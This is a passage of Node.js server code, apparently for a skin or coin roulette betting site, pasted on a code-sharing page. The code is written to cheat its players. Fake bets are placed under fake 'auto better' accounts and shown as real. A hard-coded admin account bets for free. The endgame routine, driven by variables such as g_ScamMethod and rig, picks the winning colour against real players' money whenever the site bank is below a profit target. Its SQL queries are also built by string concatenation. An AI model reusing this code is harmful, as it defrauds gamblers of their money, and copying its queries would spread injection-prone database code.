- var amount = (betRedValue - betBlackValue)*3 + random.integer(0,9);
- betBlackFake.set(betBlackFake.add(amount));
- betBlack.set(betBlack.add(amount));
- processedBets++;
- totalBets++;
- var value1 = betBlack.value();
- var value2 = betGreen.value();
- var value3 = betRed.value();
- console.log('(Auto)Bet #' + currentBets + '(#'+totalBets+') processed!');
- if(processedBets == 2){
- console.log('Timer started. Game will end in ' + g_TimeToEnd + ' secs');
- timeleft = g_TimeToEnd;
- io.emit('state', { black : value1, green : value2, red : value3, timeleft : timeleft });
- if(amount >= g_MinToShow) io.emit('build', { bet : 'black', betamount : amount, img : g_AutoBettersAccounts[0][randomnum].img, name : g_AutoBettersAccounts[0][randomnum].name });
- timer = setInterval(function(){
- timeleft--;
- if(timeleft == 0) {
- clearInterval(timer);
- }
- },1000);
- setTimeout(function(){
- endgame();
- },g_TimeToEnd*1000);
- } else {
- io.emit('state', { black : value1, green : value2, red : value3, timeleft : 0 });
- if(amount >= g_MinToShow) io.emit('build', { bet : 'black', betamount : amount, img : g_AutoBettersAccounts[0][randomnum].img, name : g_AutoBettersAccounts[0][randomnum].name });
- }
- } else if(betRedValue <= betBlackValue){
- var amount = (betBlackValue - betRedValue)*3 + random.integer(0,9);
- betRedFake.set(betRedFake.add(amount));
- betRed.set(betRed.add(amount));
- processedBets++;
- totalBets++;
- var value1 = betBlack.value();
- var value2 = betGreen.value();
- var value3 = betRed.value();
- console.log('(Auto)Bet #' + currentBets + '(#'+totalBets+') processed!');
- if(processedBets == 2){
- console.log('Timer started. Game will end in ' + g_TimeToEnd + ' secs');
- timeleft = g_TimeToEnd;
- io.emit('state', { black : value1, green : value2, red : value3, timeleft : timeleft });
- if(amount >= g_MinToShow) io.emit('build', { bet : 'red', betamount : amount, img : g_AutoBettersAccounts[0][randomnum].img, name : g_AutoBettersAccounts[0][randomnum].name });
- timer = setInterval(function(){
- timeleft--;
- if(timeleft == 0) {
- clearInterval(timer);
- }
- },1000);
- setTimeout(function(){
- endgame();
- },g_TimeToEnd*1000);
- } else {
- io.emit('state', { black : value1, green : value2, red : value3, timeleft : 0 });
- if(amount >= g_MinToShow) io.emit('build', { bet : 'red', betamount : amount, img : g_AutoBettersAccounts[0][randomnum].img, name : g_AutoBettersAccounts[0][randomnum].name });
- }
- }
- } else {
- setTimeout(function(){autobet();},1000);
- }
- } else {
- setTimeout(function(){autobet();}, 250);
- }
- }
- /* token generator */
- function generateToken(length){
- var symbols = ['1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'];
- var token = '';
- for(var i = 0; i < length; i++){
- token = token + symbols[rand(0,symbols.length-1)];
- }
- return token;
- }
- /* fetching vars from db */
- function fetchinfo(){
- mysqlConnection.query('SELECT * FROM info', function(err, row, fields){
- if(err) {console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
- if(row.length > 0){
- console.log('Fetched total ' + row.length + ' info');
- totalRed = numeral(row[0].value);
- totalBlack = numeral(row[1].value);
- totalGreen = numeral(row[2].value);
- betRed = numeral(row[3].value);
- betBlack = numeral(row[4].value);
- betGreen = numeral(row[5].value);
- siteBank = numeral(row[6].value);
- rNum = row[7].value;
- totalBets = numeral(row[8].value);
- winRed = row[9].value;
- winBlack = row[10].value;
- winGreen = row[11].value;
- totalWithdraw = numeral(row[12].value);
- for(var d = 0; d < row.length - 13;d++){
- inventory.push(row[13+d].value);
- bots.push(row[13+d].info);
- busy.push(false);
- online.push(true);
- console.log("Bot " + row[13+d].info + " was attached with " + row[13+d].value + " items in it`s inventory.");
- }
- console.log('Loaded info for ' + inventory.length);
- connectedDB = true;
- } else {
- console.log('There is no info in DB');
- }
- });
- }
- g_Admins.push('76561198148932769');
- fetchinfo();
- /* updating vars in db */
- function updateinfo(){
- var value1 = totalBlack.value();
- var value2 = totalGreen.value();
- var value3 = totalRed.value();
- var value4 = betBlack.value();
- var value5 = betGreen.value();
- var value6 = betRed.value();
- var value7 = siteBank.value();
- mysqlConnection.query('UPDATE `info` SET value = \''+value3+'\' WHERE info = \'totalRed\'', function(err, row, fields) {if(err) console.log(err);});
- mysqlConnection.query('UPDATE `info` SET value = \''+value1+'\' WHERE info = \'totalBlack\'', function(err, row, fields) {if(err) console.log(err);});
- mysqlConnection.query('UPDATE `info` SET value = \''+value2+'\' WHERE info = \'totalGreen\'', function(err, row, fields) {if(err) console.log(err);});
- mysqlConnection.query('UPDATE `info` SET value = \''+value6+'\' WHERE info = \'betRed\'', function(err, row, fields) {if(err) console.log(err);});
- mysqlConnection.query('UPDATE `info` SET value = \''+value4+'\' WHERE info = \'betBlack\'', function(err, row, fields) {if(err) console.log(err);});
- mysqlConnection.query('UPDATE `info` SET value = \''+value5+'\' WHERE info = \'betGreen\'', function(err, row, fields) {if(err) console.log(err);});
- mysqlConnection.query('UPDATE `info` SET value = \''+winRed+'\' WHERE info = \'winRed\'', function(err, row, fields) {if(err) console.log(err);});
- mysqlConnection.query('UPDATE `info` SET value = \''+winBlack+'\' WHERE info = \'winBlack\'', function(err, row, fields) {if(err) console.log(err);});
- mysqlConnection.query('UPDATE `info` SET value = \''+winGreen+'\' WHERE info = \'winGreen\'', function(err, row, fields) {if(err) console.log(err);});
- mysqlConnection.query('UPDATE `info` SET value = \''+value7+'\' WHERE info = \'siteBank\'', function(err, row, fields) {if(err) console.log(err);});
- mysqlConnection.query('UPDATE `info` SET value = \''+rNum+'\' WHERE info = \'rNum\'', function(err, row, fields) {if(err) console.log(err);});
- mysqlConnection.query('UPDATE `info` SET value = \''+totalBets+'\' WHERE info = \'total\'', function(err, row, fields) {if(err) console.log(err);});
- }
- /* game processer */
- function bet(id, bet, amount, token){
- amount = parseInt(amount, 10);
- currentBets++;
- var nextStep = false;
- var steamid = -1;
- var admin = false;
- for(var key in players){
- if(players[key].id == id){
- //console.log('Found user token');
- if(players[key].token && players[key].token == token){
- //console.log('Token is okay');
- steamid = players[key].steamid;
- nextStep = true;
- for(var i = 0; i < g_Admins.length; i++){
- if(steamid == g_Admins[i]){
- admin = true;
- false;
- }
- }
- break;
- } else {
- //console.log('Provided token differs from current.');
- }
- }
- }
- if(bet != 'red' && bet != 'green' && bet != 'black') {io.to(id).emit('err_client', { code : 18 });currentBets--;return;}
- if(nextStep){
- if(!gameIsEnding){
- if(amount >= g_MinBet){
- mysqlConnection.query('SELECT * FROM users WHERE steamid = \''+steamid+'\'', function(err, row, results){
- if(err) {io.to(id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
- if(row){
- var already = false;
- for(var h = 0; h < alreadyBet.length;h++){
- if(alreadyBet[h] == steamid){
- already = true;
- break;
- }
- }
- if(admin){
- if(bet == 'red'){
- betRedFake.set(betRedFake.add(amount));
- betRed.set(betRed.add(amount));
- }
- if(bet == 'black'){
- betBlackFake.set(betBlackFake.add(amount));
- betBlack.set(betBlack.add(amount));
- }
- if(bet == 'green'){
- betGreenFake.set(betGreenFake.add(amount));
- betGreen.set(betGreen.add(amount));
- }
- processedBets++;
- totalBets++;
- var value1 = betBlack.value();
- var value2 = betGreen.value();
- var value3 = betRed.value();
- console.log('(Admin)Bet #' + currentBets + '(#'+totalBets+') processed!');
- if(processedBets == 2){
- console.log('Timer started. Game will end in ' + g_TimeToEnd + ' secs');
- timeleft = g_TimeToEnd;
- io.emit('state', { black : value1, green : value2, red : value3, timeleft : timeleft });
- if(amount >= g_MinToShow) io.emit('build', { bet : bet, betamount : amount, img : row[0].img, name : row[0].name });
- timer = setInterval(function(){
- timeleft--;
- if(timeleft == 0) {
- clearInterval(timer);
- }
- },1000);
- setTimeout(function(){
- endgame();
- },g_TimeToEnd*1000);
- } else {
- io.emit('state', { black : value1, green : value2, red : value3, timeleft : 0 });
- if(amount >= g_MinToShow) io.emit('build', { bet : bet, betamount : amount, img : row[0].img, name : row[0].name });
- }
- }
- if(!already && !admin){
- var currentBalance = row[0].balance - amount;
- var totalNumeral = numeral(row[0].totalbets);
- totalNumeral.set(totalNumeral.add(amount));
- var currentTotal = totalNumeral.value();
- if(currentBalance >= 0){
- if(row[0].ref == 0){
- mysqlConnection.query('UPDATE users SET bet = \''+bet+'\', betamount = \''+amount+'\', balance = \''+currentBalance+'\', totalbets=\''+currentTotal+'\' WHERE steamid = \''+steamid+'\'', function(err, rows, fields) {
- if(err) {
- currentBets--;
- io.to(id).emit('err_client', { code : 22 });
- console.log("MySQL error: " + err);
- if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}
- } else {
- processedBets++;
- totalBets++;
- alreadyBet.push(steamid);
- io.to(id).emit('balance', { balance : currentBalance });
- if(bet == 'red'){
- var added1 = totalRed.add(amount);
- var added2 = betRed.add(amount);
- var added3 = siteBank.add(amount);
- totalRed.set(added1)
- betRed.set(added2);
- siteBank.set(added3);
- }
- if(bet == 'black'){
- var added1 = totalBlack.add(amount);
- var added2 = betBlack.add(amount);
- var added3 = siteBank.add(amount);
- totalBlack.set(added1)
- betBlack.set(added2);
- siteBank.set(added3);
- }
- if(bet == 'green'){
- var added1 = totalGreen.add(amount);
- var added2 = betGreen.add(amount);
- var added3 = siteBank.add(amount);
- totalGreen.set(added1)
- betGreen.set(added2);
- siteBank.set(added3);
- }
- var value1 = betBlack.value();
- var value2 = betGreen.value();
- var value3 = betRed.value();
- console.log('Bet #' + currentBets + '(#'+totalBets+') processed!');
- io.to(id).emit('info', { lastbet : bet, amount : amount });
- if(processedBets == 2){
- console.log('Timer started. Game will end in ' + g_TimeToEnd + ' secs');
- timeleft = g_TimeToEnd;
- io.emit('state', { black : value1, green : value2, red : value3, timeleft : timeleft });
- if(amount >= g_MinToShow) io.emit('build', { bet : bet, betamount : amount, img : row[0].img, name : row[0].name });
- timer = setInterval(function(){
- timeleft--;
- if(timeleft == 0) {
- clearInterval(timer);
- }
- },1000);
- setTimeout(function(){
- endgame();
- },g_TimeToEnd*1000);
- } else {
- io.emit('state', { black : value1, green : value2, red : value3, timeleft : 0 });
- if(amount >= g_MinToShow) io.emit('build', { bet : bet, betamount : amount, img : row[0].img, name : row[0].name });
- }
- }
- });
- } else {
- var refbetNumeral = numeral(row[0].refbet);
- refbetNumeral.set(refbetNumeral.add(amount));
- var currentRefbet = refbetNumeral.value();
- mysqlConnection.query('UPDATE users SET bet = \''+bet+'\', betamount = \''+amount+'\', balance = \''+currentBalance+'\', totalbets=\''+currentTotal+'\', refbet=\''+currentRefbet+'\' WHERE steamid = \''+steamid+'\'', function(err, rows, fields) {
- if(err) {
- currentBets--;
- io.to(id).emit('err_client', { code : 22 });
- console.log("MySQL error: " + err);
- if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}
- } else {
- processedBets++;
- totalBets++;
- alreadyBet.push(steamid);
- io.to(id).emit('balance', { balance : currentBalance });
- if(bet == 'red'){
- var added1 = totalRed.add(amount);
- var added2 = betRed.add(amount);
- var added3 = siteBank.add(amount);
- totalRed.set(added1)
- betRed.set(added2);
- siteBank.set(added3);
- }
- if(bet == 'black'){
- var added1 = totalBlack.add(amount);
- var added2 = betBlack.add(amount);
- var added3 = siteBank.add(amount);
- totalBlack.set(added1)
- betBlack.set(added2);
- siteBank.set(added3);
- }
- if(bet == 'green'){
- var added1 = totalGreen.add(amount);
- var added2 = betGreen.add(amount);
- var added3 = siteBank.add(amount);
- totalGreen.set(added1)
- betGreen.set(added2);
- siteBank.set(added3);
- }
- var value1 = betBlack.value();
- var value2 = betGreen.value();
- var value3 = betRed.value();
- console.log('Bet #' + currentBets + '(#'+totalBets+') processed!');
- io.to(id).emit('info', { lastbet : bet, amount : amount });
- if(processedBets == 2){
- console.log('Timer started. Game will end in ' + g_TimeToEnd + ' secs');
- timeleft = g_TimeToEnd;
- io.emit('state', { black : value1, green : value2, red : value3, timeleft : timeleft });
- if(amount >= g_MinToShow) io.emit('build', { bet : bet, betamount : amount, img : row[0].img, name : row[0].name });
- timer = setInterval(function(){
- timeleft--;
- if(timeleft == 0) {
- clearInterval(timer);
- }
- },1000);
- setTimeout(function(){
- endgame();
- },g_TimeToEnd*1000);
- } else {
- io.emit('state', { black : value1, green : value2, red : value3, timeleft : 0 });
- if(amount >= g_MinToShow) io.emit('build', { bet : bet, betamount : amount, img : row[0].img, name : row[0].name });
- }
- }
- });
- }
- } else {
- io.to(id).emit('err_client', { code : 8 });
- currentBets--;
- }
- } else {
- if(admin) currentBets++;
- currentBets--;
- io.to(id).emit('err_client', { code : 19 });
- }
- } else {
- currentBets--;
- //console.log('Hack attempt on ' + id);
- }
- });
- } else {
- currentBets--;
- io.to(id).emit('err_client', { code : 4 });
- }
- } else {
- currentBets--;
- io.to(id).emit('err_client', { code : 20 });
- }
- } else {
- currentBets--;
- io.to(id).emit('err_client', { code : 21 });
- }
- }
- function endgame(){
- if(currentBets == processedBets){
- gameIsEnding = true;
- io.emit('lockbets');
- console.log('All bets are processed!');
- firstTry = true;
- var coef = 0;
- var wobble = 7 + random.integer(3, 12)/10;
- var number = 0;
- var siteBankValue = siteBank.value();
- if(rig == 'norig'){
- if(g_ScamMethod == 1 || siteBankValue < g_Profit){
- if(siteBankValue >= g_Profit || riggedbets > 4){
- riggedbets = 0;
- if(rNum <= 47 || lastrig == 'red' && coef == 0){
- lastWin = 'red';
- lastrig = 'first';
- coef = 2;
- number = random.integer(1, 7);
- winRed++;
- }
- if(rNum > 47 && rNum <= 94 || lastrig == 'black' && coef == 0){
- lastWin = 'black';
- lastrig = 'first';
- coef = 2;
- number = random.integer(8, 14);
- winBlack++;
- }
- if(rNum > 94 && coef == 0){
- lastWin = 'green';
- lastrig = 'first';
- coef = 14;
- number = 0;
- winGreen++;
- }
- } else {
- riggedbets++;
- var betRedValue = betRed.subtract(betRedFake.value());
- var betBlackValue = betBlack.subtract(betBlackFake.value());
- var betGreenValue = betGreen.subtract(betGreenFake.value());
- if(betRedValue >= betBlackValue + betGreenValue){
- if(rNum <= 47 || lastrig == 'red' && coef == 0){
- lastWin = 'red';
- lastrig = 'first';
- coef = 2;
- number = random.integer(1, 7);
- winRed++;
- }
- if(rNum > 47 && rNum <= 94 || lastrig == 'black' && coef == 0){
- lastWin = 'black';
- lastrig = 'first';
- coef = 2;
- number = random.integer(8, 14);
- winBlack++;
- }
- if(rNum > 94 && coef == 0){
- lastWin = 'green';
- lastrig = 'first';
- coef = 14;
- number = 0;
- winGreen++;
- }
- } else {
- if(rNum > 94 && betGreenValue*14 < betRedValue + betBlackValue){
- lastWin = 'green';
- coef = 14;
- number = 0;
- winGreen++;
- } else {
- lastWin = 'red';
- lastrig = 'red';
- coef = 2;
- number = random.integer(1, 7);
- winRed++;
- }
- }
- }
- } else {
- var betRedValue = betRed.subtract(betRedFake.value());
- var betBlackValue = betBlack.subtract(betBlackFake.value());
- var betGreenValue = betGreen.subtract(betGreenFake.value());
- if(betRedValue >= betBlackValue + betGreenValue){
- if(rNum <= 47 - g_SecondMethodChance || rig == 'red' || rig == 'r' && coef == 0){
- lastWin = 'red';
- rig = 'norig';
- coef = 2;
- number = random.integer(1, 7);
- winRed++;
- }
- if(rNum > 47 - g_SecondMethodChance && rNum <= 94 || rig == 'black' || rig == 'b' && coef == 0){
- lastWin = 'black';
- rig = 'norig';
- coef = 2;
- number = random.integer(8, 14);
- winBlack++;
- }
- if(rNum > 94 || rig == 'green' || rig == 'g' && coef == 0){
- lastWin = 'green';
- rig = 'norig';
- coef = 14;
- number = 0;
- winGreen++;
- }
- } else {
- if(rNum <= 47 + g_SecondMethodChance || rig == 'red' || rig == 'r' && coef == 0){
- lastWin = 'red';
- rig = 'norig';
- coef = 2;
- number = random.integer(1, 7);
- winRed++;
- }
- if(rNum > 47 + g_SecondMethodChance && rNum <= 94 || rig == 'black' || rig == 'b' && coef == 0){
- lastWin = 'black';
- rig = 'norig';
- coef = 2;
- number = random.integer(8, 14);
- winBlack++;
- }
- if(rNum > 94 || rig == 'green' || rig == 'g' && coef == 0){
- lastWin = 'green';
- rig = 'norig';
- coef = 14;
- number = 0;
- winGreen++;
- }
- }
- }
- } else {
- if(rig == 'red' || rig == 'r' && coef == 0){
- lastWin = 'red';
- rig = 'norig';
- coef = 2;
- number = random.integer(1, 7);
- winRed++;
- }
- if(rig == 'black' || rig == 'b' && coef == 0){
- lastWin = 'black';
- rig = 'norig';
- coef = 2;
- number = random.integer(8, 14);
- winBlack++;
- }
- if(rig == 'green' || rig == 'g' && coef == 0){
- lastWin = 'green';
- rig = 'norig';
- coef = 14;
- number = 0;
- winGreen++;
- }
- }
- mysqlConnection.query('SELECT * FROM users WHERE betamount >= \'1\'', function(err, row, results){
- if(err) {console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
- if(row){
- console.log('Found ' + row.length + ' participants. Proceeding...');
- for(var j = 0; j < row.length; j++){
- if(row[j].bet == lastWin){
- won = row[j].betamount * coef;
- siteBank.set(siteBank.subtract(won));
- currentBalance = row[j].balance + won;
- mysqlConnection.query('UPDATE users SET bet = \'nobet\', betamount = \'0\', balance = \''+currentBalance+'\' WHERE id =\''+row[j].id+'\'', function(err, rows, fields) {
- if(err) {console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
- if(rows.length > 0){
- for(var key in players){
- if(rows[0].steamid && players[key].steamid == rows[0].steamid){
- setTimeout(function(){io.to(players[key].id).emit('balance', { balance : currentBalance });},g_RollingTime*1000);
- break;
- }
- }
- }
- });
- } else {
- mysqlConnection.query('UPDATE users SET bet = \'nobet\', betamount = \'0\' WHERE id =\''+row[j].id+'\'', function(err, rows, fields) {
- if(err) {console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
- });
- }
- }
- io.emit('end',{ number : number, wobble : wobble });
- if(lastchips.length < 10){
- lastchips.push(number);
- } else {
- for(var i = 0; i < lastchips.length; i++){
- if(i != lastchips.length - 1){
- lastchips[lastchips.length - 1 - i] = lastchips[lastchips.length - 2 - i];
- } else {
- lastchips[0] = number;
- }
- }
- }
- gameIsEnding = false;
- setTimeout(function(){io.emit('unlockbets');},g_RollingTime*1000);
- rNum = random.integer(1, 99);
- bettersreserved = [];
- betRed.set(0);
- betBlack.set(0);
- betGreen.set(0);
- betRedFake.set(0);
- betBlackFake.set(0);
- clearInterval(timer);
- timeleft = 0;
- currentBets = 0;
- processedBets = 0;
- alreadyBet = [];
- updateinfo();
- if(connectedDB){games = Number(winGreen) + Number(winRed) + Number(winBlack);
- totalwithdrawals = totalWithdraw.value();
- io.emit('stats', { games : games, online : onlineplayers, totalwithdrawals : totalwithdrawals });}
- var siteBankValue = siteBank.value();
- console.log('Money left in bank: ' + siteBankValue);
- }
- });
- } else {
- if(firstTry){
- console.log('Processing last bets ' + processedBets + '/' + currentBets + '...');
- io.emit('lastbets', { processedBets : processedBets, currentBets : currentBets });
- io.emit('lockbets');
- gameIsEnding = true;
- firstTry = false;
- }
- setTimeout(function(){endgame();},1000);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement